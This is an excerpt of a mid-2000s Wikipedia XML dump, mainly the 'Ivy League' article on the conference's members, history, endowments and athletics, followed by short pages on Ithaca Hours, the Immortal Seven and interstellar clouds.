!colspan=&quot;2&quot; align=center bgcolor=&quot;#006600&quot; | &lt;font color=&quot;#FFFFFF&quot;&gt;'''Ivy League'''
|-
|colspan=&quot;2&quot; align=center | [[Image:IvyLeague 100.png|Ivy League]]
|-
!colspan=&quot;2&quot; align=center bgcolor=&quot;#006600&quot; | &lt;font color=&quot;#FFFFFF&quot;&gt;'''Data'''
|-
|Established || 1954
|-
|Members || 8
|-
|Continent || [[North America]]
|-
|Country || [[United States]]
|-
|University type || [[Private school|Private]]
|-
|Other names || Ancient Eight
|-
|}

The '''Ivy League''' [[athletic conference]], founded in 1954, consists of eight private [[university|institutions of higher education]] located in the eastern [[United States]]. The term, with its connotations of academic excellence, selectivity in admissions, and a certain amount of [[academic elitism]], dates back to at least 1935{{ref|early_usage}}.

On [[December 3]], [[1937]], the first major effort to formally organize the league was made by editors of seven student-run dailies at universities in the Eastern United States.  They made a concerted effort for &quot;the formation of an Ivy League&quot; by simultaneously running an editorial, entitled &quot;Now Is the Time&quot;, after having held one-month-long discussions about the proposal{{ref|student_effort_to_organize}}.

All of the Ivy League institutions share some general characteristics: They are among the most prestigious and selective schools in the [[United States|U.S.]], they consistently place close to the top of [[college and university rankings]]; they rank within the top one percent of the world's academic institutions in terms of financial endowment; they attract top-tier students and faculty; and they have relatively small undergraduate populations, ranging between 4,078 for [[Dartmouth College]] and 13,700 for [[Cornell University]] and modestly sized graduate  student populations, ranging between 1,666 for Dartmouth and 14,692 for [[Columbia University|Columbia]]. Seven of the eight schools ([[Cornell University]] being the exception) were founded during America's colonial period. Ivy League institutions, therefore, account for seven of the [[Colonial colleges|nine colleges]] chartered before the American Revolution. The Ivies also are all located in the [[U.S. Northeast|Northeast]] region of the [[United States]].  Notably, the Ivies also prohibit the offering of athletic scholarships to students in most cases; this ban differentiates Ivy teams from those of schools that permit students to receive scholarships to attend or to join a team.

The Ivy League institutions are [[private school|privately]] owned and controlled.  Although many of them receive funding from the federal or state governments to pursue research, only [[Cornell University|Cornell]] has state-supported academic units, termed [[statutory college]]s, that are an integral part of the institution. Several other prestigous American instituitons are considered to be of Ivy League caliber including [[Stanford University]], [[Duke University]], [[Massachusetts Institute of Technology]], [[Caltech]], and [[Rice University]], among others.

==Members==
The members of the Ivy League are&lt;!-- in alphabetical order--&gt;:

{| class=&quot;wikitable&quot;
!Institution
!Location
!School type
!Current religious affiliation
!Founding religious affiliation
!Full time enrollment
!Founded
|-
|[[Brown University]]
|[[Providence, Rhode Island]]
|Private
|Nonsectarian
|[[Baptist]] ([[Sabbatarianism|Sabbatarian]])
|7,595
|1764 as ''College of Rhode Island''
|-
|[[Columbia University|Columbia University]]
|[[New York City|New York, New York]]
|Private
|Nonsectarian
|[[Anglicanism|Anglican]]
|23,813
|1754 as ''[[King's College]]''
|-
|[[Cornell University]]
|[[Ithaca, New York]]
|Private
|Nonsectarian
|Nonsectarian
|20,299
|1865
|-
|[[Dartmouth College]]
|[[Hanover, New Hampshire]]
|Private
|Nonsectarian
|[[Puritan]] / [[Congregational church|Congregationalist]]
|5,744
|1769
|-
|[[Harvard University]]
|[[Cambridge, Massachusetts]]
|Private
|Nonsectarian
|[[Puritan]] / [[Congregational church|Congregationalist]]; sided with the [[Unitarian]]s in their 1825 split from Congregationalists
|19,779
|1636 as ''New College'', named ''[[Harvard College]]'' in 1638
|-
|[[Princeton University]]
|[[Princeton, New Jersey|Princeton Borough and Princeton Township, New Jersey]]
|Private
|Nonsectarian
|[[Presbyterianism|Presbyterian]]
|6,831
|1746 as ''College of New Jersey''
|-
|[[University of Pennsylvania]]
|[[Philadelphia, Pennsylvania]]
|Private
|Nonsectarian
|[[Religious Society of Friends|Quaker]]
|23,305
|1740
|-
|[[Yale University]]
|[[New Haven, Connecticut]]
|Private
|Nonsectarian
|[[Puritan]] / [[Congregational church|Congregationalist]]
|11,359
|1701 as ''Collegiate School''
|}

==Shields and mottos==
&lt;gallery&gt;
Image:Brown Coat of Arms.png|[[Brown University|Brown]] &lt;br&gt; ''In deo speramus'' &lt;br&gt; (&quot;In God we hope&quot;)
Image:Cu-shield.png|[[Columbia University|Columbia]] &lt;br&gt; ''In lumine Tuo videbimus lumen'' &lt;br&gt; (&quot;In Thy light shall we see light&quot;)
Image:Cornell_emblem.png|[[Cornell University|Cornell]] &lt;br&gt; &quot;I would found an institution where any person can find instruction in any study&quot;
Image:Dartmouth Shield.png|[[Dartmouth College|Dartmouth]] &lt;br&gt; ''Vox clamantis in deserto'' &lt;br&gt; (&quot;The voice of one crying out in the wilderness&quot;)
Image:Harvard_shield-University.png|[[Harvard University|Harvard]] &lt;br&gt; ''Veritas'' &lt;br&gt; (&quot;Truth&quot;)
Image:PennArms.png|[[University of Pennsylvania|Penn]] &lt;br&gt; ''Leges sine moribus vanae'' &lt;br&gt; (&quot;Laws without morals are useless&quot;)
Image:PrincetonShield.gif|[[Princeton University|Princeton]] &lt;br&gt; ''Dei sub numine viget'' &lt;br&gt; (&quot;Under God's power she flourishes&quot;)
Image:Official Yale Shield.png|[[Yale University|Yale]] &lt;br&gt; ''[[Urim and Thummim|אורים ותמים]]'' &lt;br&gt; ''Lux et veritas'' &lt;br&gt; (&quot;Light and truth&quot;)
&lt;/gallery&gt;

== Terminology ==
Named after the [[ivy]] plants that traditionally cover their historic buildings, the term Ivy League was first coined informally to refer to these institutions of [[higher education]] which compete in both [[scholastics]] and [[sport]]s. Formally, it also refers to the association of these schools in [[NCAA]] [[Division I]] [[College Athletic Conference|athletic]] competition. The Ivy League universities are often simply called the '''Ivies''' or, affectionately, the '''Ancient Eight'''.

Some attribute the name to the Roman numerals for four (IV), asserting that there was such a sports league originally with four members. The ''Morris Dictionary of Word and Phrase Origins'' helped to perpetuate this belief.  The supposed &quot;IV League&quot; was formed over a century ago and consisted of Harvard, Yale, Princeton, and a 4th school that varies depending on who is telling the story.  [http://www.chipublib.org/008subject/005genref/faqiv.html]
[http://ezra.cornell.edu/posting.php?timestamp=1124946000]
[http://badgerherald.com/news/2003/03/03/origins_of_the_term_.php]
[http://www.upenn.edu/pennnews/current/2002/101702/askbenny.html]

The term &quot;Ivy League&quot; refers strictly to the original eight universities. However, the prestige associated with the Ivy League has given rise to associative terms meant to imply perceived preeminence within other various realms of American higher education: &quot;[[Jesuit Ivy]]&quot;, &quot;[[Little Ivies]]&quot;, &quot;[[Public Ivies]]&quot;, etc. These terms are strictly [[colloquial]] and have no relation to the original eight schools.

==History==    
The Ivies and their founders share a common heritage.   In England, dissident scholars from the [[University of Oxford]] founded the [[University of Cambridge]].  A University of Cambridge alumnus, [[John Harvard (clergyman)|John Harvard]],  bequeathed in his will a large donation to New College, which became Harvard University.  Ten alumni of Harvard founded Yale, and other Harvard alumni, such as minister [[Increase Mather]] and his son [[Cotton Mather]],  nurtured its development.  Alumni of Yale founded (or co-founded) other future Ivy League institutions:  Princeton University by [[Jonathan Dickinson (of New Jersey)|Jonathan Dickinson]] ,  Dartmouth College by [[Eleazar Wheelock]], and Cornell University by [[Andrew Dickson White]].  [[James Manning]], an alumnus from Princeton, co-founded Brown University. Clergymen of an [[Episcopal]]ian church in New York City became alarmed by the [[Presbyterian]] founding of Princeton University (then known as the ''College of New Jersey'') [http://beatl.barnard.columbia.edu/kingsv1/biosketches.htm].  They established their own &quot;rival&quot; institution, ''King's College'' (Columbia University), and elected as its first president a Yale alumnus named [[Samuel Johnson (1696-1772)|Samuel Johnson]], who also served as the sole faculty member in the college's early days.  When ''King's College'' was renamed to ''Columbia College'' in [[1784]], Johnson's son  [[William Samuel Johnson]], also a  Yale alumnus,  became its president.   After the University of Pennsylvania opened, its founder  [[Benjamin Franklin]] received [[honorary degree]]s from Harvard and Yale in [[1753]] and an honorary doctorate from the University of Oxford in [[1762]] [http://www.gophila.com/Go/PressRoom/pressreleases/ben300/Resume_Ben_Franklin_Fact_Sheet.aspx].  

The Ivies have been competing in sports as long as intercollegiate sports have existed in the United States.  Boat clubs from Harvard and Yale met in the first sporting event held between students of two U.S. colleges on [[Lake Winnipesaukee]], [[New Hampshire]], in [[1852]].  As an informal [[American football|football]] league, the Ivy League dates from [[1900]] when [[Yale University|Yale]] took the conference championship with a 5-0 record. For many years Army (the [[United States Military Academy]]), Navy (the [[United States Naval Academy]]), and to a lesser extent [[Rutgers University|Rutgers]] were considered members, but dropped out shortly before formal organization. For instance, Army traditionally had a rivalry with Yale, and Rutgers had rivalries with Princeton and Columbia, which continue today in sports other than [[football]].

Before the formal formation of the Ivy League, there was an &quot;unwritten and unspoken agreement among certain Eastern colleges on athletic relations&quot;.  In [[1935]], [[The Associated Press]] reported on an example of collaboration between the schools:

&lt;blockquote&gt;''the athletic authorities of the so-called &quot;Ivy League&quot; are considering drastic measures to curb the increasing tendency toward riotous attacks on goal posts and other encroachments by spectators on playing fields.{{ref|early_cooperation}}''&lt;/blockquote&gt;

Despite such collaboration, the universities did not seem to consider the formation of the league as imminent.  [[Romeyn Berry]], Cornell's director of intercollegiate relations, reported the situation in January [[1936]] as follows:

&lt;blockquote&gt;''I can say with certainty that in the last five years — and markedly in the last three months — there has been a strong drift among the eight or ten universities of the East which see a good deal of one another in sport toward a closer bond of confidence and cooperation and toward the formation of a common front against the threat of a breakdown in the ideals of amateur sport in the interests of supposed expediency.''&lt;/blockquote&gt;

&lt;blockquote&gt;''Please do not regard that statement as implying the organization of an Eastern conference or even a poetic &quot;Ivy League.&quot;  That sort of thing does not seem to be in the cards at the moment.''{{ref|unspoken_agreement}}&lt;/blockquote&gt;

Within a year of this statement, on [[December 3]], [[1936]], the idea of an Ivy League gained enough traction among the undergraduate bodies of the universities that the ''[[Columbia Daily Spectator]]'', ''[[The Cornell Daily Sun]]'', ''[[The Dartmouth]]'', ''[[The Harvard Crimson]]'', ''[[The Daily Pennsylvanian]]'', ''[[The Daily Princetonian]]'' and the ''[[Yale Daily News]]'' would simultaneously run an editorial encouraging the seven universities to form the league in an effort to preserve the ideals of athletics.  Part of the editorial read as follows:

&lt;blockquote&gt;
''The Ivy League exists already in the minds of a good many of those connected with football, and we fail to see why the seven schools concerned should be satisfied to let it exist as a purely nebulous entity where there are so many practical benefits which would be possible under definite organized association.  The seven colleges involved fall naturally together by reason of their common interests and similar general standards and by dint of their established national reputation they are in a particularly advantageous position to assume leadership for the preservation of the ideals of intercollegiate athletics.''
&lt;/blockquote&gt;

The proposal did not succeed — on [[January 11]], [[1937]], the athletic authorities at the schools rejected the &quot;possibility of a heptagonal league in football such as these institutions maintain in basketball, baseball and track&quot;. However, they noted that the league &quot;has such promising possibilities that it may not be dismissed and must be the subject of further consideration&quot;.{{ref|ivy_proposal_rejected}}

In [[1945]] the presidents of the eight schools signed the first '''Ivy Group Agreement''', which set academic, financial, and athletic standards for the [[American football|football]] teams. The principles established reiterated those put forward in the Harvard-Yale-Princeton Presidents' Agreement of [[1916]].

In [[1954]], the date generally accepted as the birth of the Ivy League, the presidents extended the Ivy Group Agreement to all intercollegiate sports. Competition began with the [[1956]] season.

As late as the [[1960s]] many of the Ivy League universities' undergraduate programs remained open only to men, with Cornell the only one to have been coeducational from its founding (1865) and Columbia being the last (1983) to become [[coeducation]]al.  Before they became coeducational, many of the Ivy schools maintained extensive social ties with nearby [[Seven Sisters (colleges)|Seven Sisters]] [[women's college]]s, including weekend visits, dances and parties inviting Ivy and Seven Sisters students to mingle.  This was the case not only at [[Barnard College]] and [[Radcliffe College]], which were situated very near to Columbia and Harvard, but at more distant institutions as well.  The movie ''[[Animal House]]'' includes a satiric version of the formerly common visits by Dartmouth men to Massachusetts to meet [[Smith College|Smith]] and [[Mount Holyoke College|Mount Holyoke]] women, a drive of more than two hours.  Some sources suggest that the Seven Sisters group was so named as a parallel to the Ivy League. [http://www.ed.gov/offices/OERI/PLLI/webreprt.html]

==Reputation==
All Ivy League schools are known for their highly selective undergraduate programs, and acceptance rates now range from 9.1% for Harvard to 26.1% for Cornell. 

In most [[college and university rankings]], all or almost all of the Ivy League schools rank in the top tier.  The ranking of the schools is greatly dependent on what each survey places the most weight, such as average class size, volume of research, and faculty accolades.

==Endowments==
===Total Endowment Wealth===
The Ivy League schools are among the wealthiest private universities in the U.S., a status commensurate with their ages and long-standing relationships with the highest echelons of American society. All of the Ivy League schools have [[financial endowment]]s over $1 billion.[http://www.philly.com/mld/inquirer/business/personal_finance/7774843.htm] Harvard, with a $25.5 billion endowment (as of [[2005]]), is the wealthiest university in the world.[http://www.thecrimson.com/article.aspx?ref=503347] Yale, with an endowment size of $15.2 billion (2005 value), is the second-wealthiest, and Princeton, with $11.2 billion, is fifth. Next within the Ivy League comes Columbia with $5.2 billion, Penn with $4.4 billion, Cornell with $3.8 billion, Dartmouth with $2.7 billion, and Brown with $2.0 billion. 

For comparison purposes, other elite private American universities' endowments are: Stanford ($12.4 billion), MIT ($6.7 billion), Emory ($4.4 billion) and University of Chicago ($4.1 billion).  Internationally, most other elite schools are publicly owned and financed institutions (University of Tokyo, the French [[Grandes écoles]]). In Britain, Oxford and Cambridge universities have endowments of approximately $6.0 billion and $4.0 billion respectively.

===Per Capita Endowment===
Princeton, the wealthiest institution in the country on a per capita basis, has a per-student endowment of $1.64 million, followed by Yale with $1.34 million, Harvard with $1.29 million, Dartmouth with $470,000, Brown with $263,000, Columbia with $218,000, Penn with $189,000, and Cornell with $187,000.

==Land ownership==
''(In alphabetical order)''

*Brown owns 143 acres (0.6 km&amp;sup2;) in urban Providence and the 375 acre (1.5 km&amp;sup2;) Mount Hope Grant in Bristol.
*Columbia owns over 82 acres (0.33 km&amp;sup2;) in Manhattan, which consists of the 36 acre (0.14 km&amp;sup2;) campus in Morningside Heights, the 26 acre (0.1 km&amp;sup2;) Baker Field athletic complex, and a 20 acre (0.09 km&amp;sup2;) health sciences campus, as well as numerous individual buildings and properties.  It is notably among the largest private landowners in New York City, third after the city itself and the [[Catholic Church]]. Columbia also operates the 157 acre (0.64 km&amp;sup2;) [[Lamont Doherty Earth Observatory]] in the [[New York Palisades]], and the 500 acre [[Harriman Estate]] (&quot;Arden House&quot;) in a northern suburb of New York City, [[Orange County, New York|Orange County]]. 
*Cornell has the largest campus in the Ivy League with 745 acres (3 km&amp;sup2;) of property in [[Upstate New York]]. 
*Dartmouth, the largest Ivy landowner overall, owns 265 acres (1.1 km&amp;sup2;) on its main campus in [[Hanover, New Hampshire]], and over 31,000 acres (109&amp;nbsp;km&amp;sup2;)[http://www.dartmouth.edu/~doc/secondcollegegrant/] in the rest of New Hampshire, making it the largest private New Hampshire landowner as well.
*Harvard owns nearly 571 acres (2.3 km&amp;sup2;) in an urban setting (220 in Cambridge[http://thecrimson.com/article.aspx?ref=254361] and 352 directly across the river in Boston[http://www.news.harvard.edu/gazette/daily/2005/10/24-allstonfaq.html]) as well as holding a 1000-year lease (ending in 2882) on the 265 acres of the [[Arnold Arboretum]] also in Boston[http://www.arboretum.harvard.edu/aboutus/history.html]. 
*Princeton owns 600 acres (2.4 km&amp;sup2;) in a suburban environment. 
*The University of Pennsylvania has a core campus of 269 acres (1.1 km&amp;sup2;), a 92 acre arboretum in northwestern Philadelphia and a 690 acre veterinary research complex in suburban Philadelphia. 
*Yale has a core campus of 260 acres (1.1 km&amp;sup2;) in an urban setting, 515 acres in a nature preserve and golf course, 100 acres in athletic fields, and 30 acres in off-campus residential land

==Cooperation==
Seven of the eight schools (Harvard excluded) participate in the Borrow Direct [[interlibrary loan]] program, making a total of 40 million items available to participants with a waiting period of four working days.  This ILL program is not affiliated with the formal Ivy arrangement.

==Athletics &amp; competition==
Ivy champions are crowned in 33 men's and women's sports. In some sports, Ivy teams actually compete as members of another league, the Ivy championship being decided by isolating the members' records in play against each other. (For example, the six league members who participate in [[ice hockey]] do so as members of the [[ECAC Hockey League]]; but an Ivy champion is extrapolated each year.)  Unlike all other Division I [[basketball]] conferences, the Ivy League has no tournament for the league title; the school with the best conference record represents the conference in the Division I NCAA Basketball Tournament (with a playoff in the case of a tie).

On average, each Ivy school has more than 35 varsity teams. All eight are in the top 20 for number of sports offered for both men and women among Division I schools. In some sports, notably baseball and tennis, the Ivy League teams also frequently compete against [[United States Military Academy|Army]] and [[United States Naval Academy|Navy]].

Harvard and Yale are celebrated [[American football|football]] and [[sport rowing|crew]] rivals.  Penn and Cornell are football rivals.  Columbia and Princeton have a rivalry that goes back to the fourth college football game ever played.  Princeton and Penn are mainly basketball rivals.  Cornell and Harvard are hockey rivals.  Unlike most Division I athletic conferences, the Ivy League prohibits the granting of athletic scholarships; all scholarships awarded are need-based ([[financial aid]]) [http://www.ivyleaguesports.com/whatisivy/index.asp]. Since there is no outright athletic scholarship program, the schools are typically less competitive in football and basketball, even when compared to universities with comparably rigorous academic standards.

In the time before recruiting for college sports became dominated by those offering athletic scholarships, the Ivy League was successful in many sports relative to other universities in the country. In particular, Princeton won 24 recognized national championships in [[college football]], and Yale won 19. Both of these totals are considerably higher than those of other historically strong programs such as [[University of Notre Dame|Notre Dame]], which has won 12, and [[University of Southern California|USC]], which has won 10. Of course, Ivy League schools never win national championships anymore.Yale, who holds the record for most national football championships, hasn't won a national championship in decades.  Yale, whose coach [[Walter Camp]] was the &quot;Father of American Football,&quot; held on to its place as the all-time wins leader in college football throughout the entire [[20th century]], but was finally passed by [[University of Michigan|Michigan]] on [[November 10]], [[2001]].

Although no longer as successful nationally as they once were in many of the more popular college sports, the Ivy League is still competitive in others. One such example is [[college rowing (United States)|rowing]]. All of the Ivies have historically been among the top crews in the nation, and most continue to be so today.  (Other historical top crews include [[University of California, Berkeley|Cal]], [[University of Washington|Washington]],[[University of Wisconsin|Wisconsin]] and [[Naval Academy|Navy]]). Most recently, on the men's side, Harvard won the [[Intercollegiate Rowing Association]] Championships the last three years in a row (2003, 2004, 2005), and on the women's side, Harvard and Brown won the 2003 and 2004 [[NCAA Rowing Championships]], respectively.

===Athletic logos===

&lt;gallery&gt;
Image:Brown 2440.gif|&lt;center&gt;Brown Bears&lt;/center&gt;
Image:SmallLionLogo.jpg|&lt;center&gt;Columbia Lions&lt;/center&gt;
Image:Corne 2461.gif|&lt;center&gt;[[Cornell Big Red]]&lt;/center&gt;
Image:Logo dartmouth.jpg|&lt;center&gt;Dartmouth Big Green&lt;/center&gt;
Image:Harvard shield-University.png|&lt;center&gt;Harvard Crimson&lt;/center&gt;
Image:PennsylvaniaQuakers2.gif|&lt;center&gt;Penn Quakers&lt;/center&gt;
Image:Prn240.gif|&lt;center&gt;Princeton Tigers&lt;/center&gt;
Image:Yale bulldog y logo.jpg|&lt;center&gt;Yale Bulldogs&lt;/center&gt;
&lt;/gallery&gt;

===Conference stadia===
{| border=&quot;2&quot; cellpadding=&quot;5&quot;
|-
!School
!Football stadium
!Stadium capacity
!Basketball arena
!Arena capacity
|-
|Brown
|[[Brown Stadium]]
|20,000
|[[Pizzitola Sports Center]]
|2,800
|-
|Columbia
|[[Lawrence A. Wien Stadium|Wien Stadium]]
|17,000
|[[Levien Gymnasium]]
|3,408
|-
|Cornell
|[[Schoellkopf Field]]
|25,597
|[[Newman Arena]]
|4,473
|-
|Dartmouth
|[[Memorial Stadium (Dartmouth)|Memorial Field]]
|20,000
|[[Leede Arena]]
|2,100
|-
|Harvard
|[[Harvard Stadium]]
|30,898
|[[Lavietes Pavilion]]
|2,195
|-
|Penn
|[[Franklin Field]]
|52,593
|The [[Palestra]]
|8,700
|-
|Princeton
|[[Princeton Stadium]]
|27,800
|[[Jadwin Gymnasium]]
|6,854
|-
|Yale
|[[Yale Bowl]]
|64,269
|[[Payne Whitney Gym]]
|3,100
|}

Although the Ivy League is usually regarded as a cohesive group from the outside, there is a considerable amount of internal academic rivalry and competition among its eight members. Among these elite universities, there is a heated competition for students. In [[2002]], admissions officers at Princeton logged into the Yale admissions website to view the admissions status of cross-applicants, using the names, birthdates, and social security numbers indicated on their [[Princeton University|Princeton]] applications [http://www.dailyprincetonian.com/archives/2002/05/17/news/5201.shtml]. Yale's administration notified the [[FBI]] about the actions after conducting its own investigation. Princeton moved one admissions official to a different department over the incident and the university's Dean of Admissions retired soon thereafter.

==References==

#{{note|early_usage}} {{news reference
  | author=The Associated Press
  | title=Yale Jinx Overcome, Dartmouth Now Seeks To Break Spell Cast by Princeton Teams
  | org=The New York Times
  | page=35
  | date=1935-10-5
}}
#{{note|student_effort_to_organize}} {{news reference
  | title = Immediate Formation of Ivy League Advocated at Seven Eastern Colleges
  | org = The New York Times
  | page = 33
  | date = 1936-12-3
}}
#{{note|early_cooperation}} {{news reference
  | author = The Associated Press
  | title = Colleges Searching for Check On Trend to Goal Post Riots
  | org = The New York Times
  | page = 33
  | date = 1935-12-6
}}
#{{note|unspoken_agreement}} {{news reference
  | author = Robert F. Kelley
  | title = Cornell Club Here Welcomes Lynah
  | org = The New York Times
  | page = 22
  | date = 1936-1-17
}}
#{{note|ivy_proposal_rejected}} {{news reference
  | title = Plea for an Ivy Football League Rejected by College Authorities
  | org = The New York Times
  | page = 26
  | date = 1937-1-12
}}
# ''U.S. News and World Report'' 1993 College Guide - June 4, 1993.
# ''StudentsReview Official Rankings'' - Jan 1, 2005.

==See also==
* [[Colonial colleges]]
* [[Jesuit Ivy]]
* [[Little Ivies]]
* [[Oxbridge]]
* [[Public Ivies]]
* [[Southern Ivies]]
* [[Seven Sisters (colleges)|Seven Sisters]]
* [[Ivy League business schools]]

==External links==
*[http://www.ivyleaguesports.com Ivy League Sports Official Website]
*[http://www.ivysport.com/history.php Ivy League History at Ivysport]
*[http://www.ivysport.com Ivy League sanctioned apparel]
{{Ivy League}}


[[Category:College athletics conferences]]
[[Category:Ivy League| ]]
[[Category:Lists of universities and colleges in the United States|*]]

[[da:Ivy League]]
[[de:Ivy League]]
[[es:Ivy League]]
[[fr:Ivy League]]
[[ko:아이비리그]]
[[id:Ivy League]]
[[it:Ivy League]]
[[he:ליגת הקיסוס]]
[[ka:აივი ლიგა]]
[[nl:Ivy League]]
[[ja:アイヴィー・リーグ]]
[[pl:Liga Bluszczowa]]
[[ru:Лига плюща]]
[[sv:Ivy League]]
[[zh:常春藤盟校]]</text>
    </revision>
  </page>
  <page>
    <title>Ithaca Hours</title>
    <id>14976</id>
    <revision>
      <id>42115505</id>
      <timestamp>2006-03-03T22:47:02Z</timestamp>
      <contributor>
        <username>Paglo</username>
        <id>556925</id>
      </contributor>
      <comment>/* Economic Development */</comment>
      <text xml:space="preserve">[[Image:Ithaca Hours-One Eighth.jpg|thumb|350px|right|An Eighth Hour, part of the local currency system of Ithaca, NY.]]

'''Ithaca Hours''' is a [[local currency]] in [[Ithaca, New York]].  It is credited as the first modern [[local currency]] and has inspired similar systems throughout the world.

It is notable as one of three [[monetary reform]] measures named as viable alternatives to [[Bretton Woods system]] by [[United Nations]] conferences (the other two being [[UNILETS]] and the [[Global Resource Bank]]).

== How It Started ==

While doing research into local economics during 1989, [[Paul Glover]] had seen an &quot;Hour&quot; note [[19th century]] British industrialist [[Robert Owen]] issued to his workers for spending at his company store.  After '''Ithaca Hours''' began, he discovered that Owen's Hours were based on [[Josiah Warren]]'s &quot;Time Store&quot; notes of [[1827]].

In May of [[1991]], local student Patrice Jennings interviewed [[Paul Glover]] about the Ithaca [[LETS]] system.  This conversation strongly reinforced his interest in trade systems.

Within a few days, he had designs for the HOUR and Half HOUR notes.  At [[GreenStar Cooperative Market]], [[Paul Glover]] approached Gary Fine, a local massage therapist, with photocopied samples.  He said &quot;Sure,&quot; and put the first signature on a sign-up sheet of people willing to accept HOURS.  Later Jim Rohrrsen of Papa Jim's toys became the first retailer to sign-up to accept Ithaca HOURS.

During the next four months, 90 people provided 262 offers and requests.  They all agreed to accept HOURS, without waiting for a business plan or guarantee.  Emboldened, [[Paul Glover]] began to ask for small donations to help pay for printing HOURS.

Fine Line Printing completed the first run of 1,500 HOURS and 1,500 Half HOURS in October, [[1991]].  These notes, the first modern local currency, were nearly twice as large as the current Ithaca HOURS.  Because they didn't fit well in people's wallets, almost all of the original notes have been removed from circulation. 

The first issue of Ithaca Money was printed at Our Press in Chenango Bridge, NY, on [[October 16]], [[1991]].  The next day [[Paul Glover]] issued 10 HOURS to Ithaca Hours, the organization he founded to run the system, as the first of four reimbursements for the cost of printing HOURS.  The day after that, [[October 18]], 382 HOURS were disbursed and prepared for mailing to the first 93 pioneers.

On [[October 19]], [[1991]], [[Paul Glover]] bought a [[samosa|samoza]] from Catherine Martinez at the Farmers' Market with Half HOUR #751--the first use of an HOUR.  Several other Market vendors enrolled that day.

Stacks of the Ithaca Money newspaper were distributed all over town with an invitation to &quot;join the fun&quot;.  Sign-up forms from Ithaca Money poured in, the first from fiddler Laurie Hart.

A Barter Potluck was held at [[Greater Ithaca Activities Center|GIAC]] on [[November 12]], [[1991]], the first of many monthly gatherings where food and skills were exchanged, friendships made and acquaintances renewed.

The [[Ithaca Journal]] did a fine introductory article about HOURS, followed by a short interview with Casey Stevens on Radio WHCU and stories in the [[Syracuse Post-Standard]], The Grapevine, the [[Cornell Daily Sun]], and the [[Ithaca Times]].  Patrice Jennings, a founding member of the HOURS Advisory Board, was featured on a TV story done by WICB.

In January of [[1992]], ten days after the Farmers' Market closed for the season and only 46 days after the first Ithaca HOURS went into circulation, [[GreenStar Cooperative Market]] burned down.  Local food vendors selling through GreenStar quickly organized a Mini-Market on Henry St. Johns school, and most of them decided to accept HOURS.  This provided HOURS with a midwinter food base right from the beginning.

== Transition to a Board ==

The Advisory Board incorporated the Ithaca HOUR system as Ithaca Hours, Inc. in October [[1998]], and hosted the first elections for Board of Directors in March of [[1999]].  The first Board of Directors included [[Monica Hargraves]], [[Dan Cogan]], Margaret McCasland, Greg Spence Wolf, Bob LeRoy, LeGrace Benson, Wally Woods, Jennifer Elges, and Donald Stephenson.  In May of [[1999]] [[Paul Glover]] turned the administration of Ithaca HOURS over to the newly elected Board of Directors.  [[Paul Glover]] has continued to support Ithaca Hours through community outreach to present, most notably through the [[Ithaca Health Fund]] and [[Ithaca Community News]].

The current Board of Directors, as of [[October 20]], [[2004]], includes LeGrace Benson, Steve Burke, [[Monica Hargraves]], Bob LeRoy, Margaret McCasland, Arc Riley, and Rebecca Nellenback.

== Economic Development ==

Several million dollars value of HOURS have been traded since 1991, among thousands of residents and over 500 area businesses, including the Cayuga Medical Center, [[Alternatives Federal Credit Union]], the public library, many local farmers, movie theatres, restaurants, healers, plumbers, carpenters, electricians, and landlords.

One of the primary functions of the Ithaca Hours system is to promote local economic development. Businesses who receive Hours must spend them on local goods and services, thus building a network of inter-supporting local businesses. While non-local businesses are welcome to accept Hours, those businesses need to spend them on local goods and services to be economically sustainable.

In their mission to promote local economic development, the Board of Directors also makes interest-free loans of Ithaca HOURS to local businesses and grants to local non-profit organizations.

==See also==
*[[Time-based currency]]

==External links==

*http://www.ithacahours.org/ - Main Website
*http://www.ithacahours.com/ - Founder's Website
*http://www.smallisbeautiful.org/ - E F Schumacher Society Local Currency website
* [http://www.barter-software.com XO Limited Free Barter Software for Community Exchanges]

[[Category:Ithaca, New York|Hours]]
[[Category:Community currencies]]</text>
    </revision>
  </page>
  <page>
    <title>Instant Runoff Voting</title>
    <id>14977</id>
    <revision>
      <id>15912494</id>
      <timestamp>2003-01-17T05:48:26Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>#REDIRECT [[Instant-runoff_voting]]</comment>
      <text xml:space="preserve">#REDIRECT [[Instant-runoff_voting]]</text>
    </revision>
  </page>
  <page>
    <title>Immortal Seven</title>
    <id>14978</id>
    <revision>
      <id>34070348</id>
      <timestamp>2006-01-06T04:34:24Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">The '''Immortal Seven''' were seven notable [[England|Englishmen]] who issued the ''[[Invitation to William]]'', a letter of [[30 June]] [[1688]] asking [[William III of Orange|William of Orange]] to depose his father-in-law [[James II of England|James II]] in favour of William's wife [[Mary II of England|Mary]], an invitation which culminated in the [[Glorious Revolution]]. It was carried to William by [[Arthur Herbert, 1st Earl of Torrington|Lord Torrington]], and identified by a secret [[code (cryptography)|code]].

Of the seven, Danby and Compton were generally considered to be [[Tory|Tories]], while the other five signatories were generally seen as [[Whig]]s.

They were: 
*[[Thomas Osborne, 1st Duke of Leeds|The Earl of Danby]]
*[[Charles Talbot, 1st Duke of Shrewsbury|The Earl of Shrewsbury]]
*[[William Cavendish, 1st Duke of Devonshire|The Earl of Devonshire]]
*[[Richard Lumley, 1st Earl of Scarbrough|The Viscount Lumley]]
*[[Henry Compton]], [[Bishop of London]]
*[[Edward Russell, 1st Earl of Orford|Edward Russell]]
*[[Henry Sydney, 1st Earl of Romney|Henry Sydney]] (who wrote the Invitation)

[[Category:History of England]]</text>
    </revision>
  </page>
  <page>
    <title>Interstellar cloud</title>
    <id>14979</id>
    <revision>
      <id>39963224</id>
      <timestamp>2006-02-17T03:18:39Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>dab &quot;Plasma&quot;</comment>
      <text xml:space="preserve">'''Interstellar cloud''' is the generic name given to an accumulation of gas, [[Plasma (physics)|plasma]] and [[Cosmic dust|dust]] in our and other [[galaxy|galaxies]].  Put differently, an interstellar cloud is a denser-than-average region of the [[interstellar medium]].  Depending on the density, size and temperature of a given cloud, the [[hydrogen]] in it can be neutral ([[H I region]]s), ionized ([[H II region]]s) (ie. a plasma), or molecular ([[molecular cloud]]s). 

[[image:interstellar.cloud.arp.750pix.jpg|thumb|Over 200 newly formed stars are scattered within a cavern-like, gaseous, interstellar cloud ([[NGC 604]]). The stars irradiate the gas with energetic ultraviolet light stripping electrons from atoms and exciting them - producing a characteristic nebular glow.]]

== Chemical compositions ==

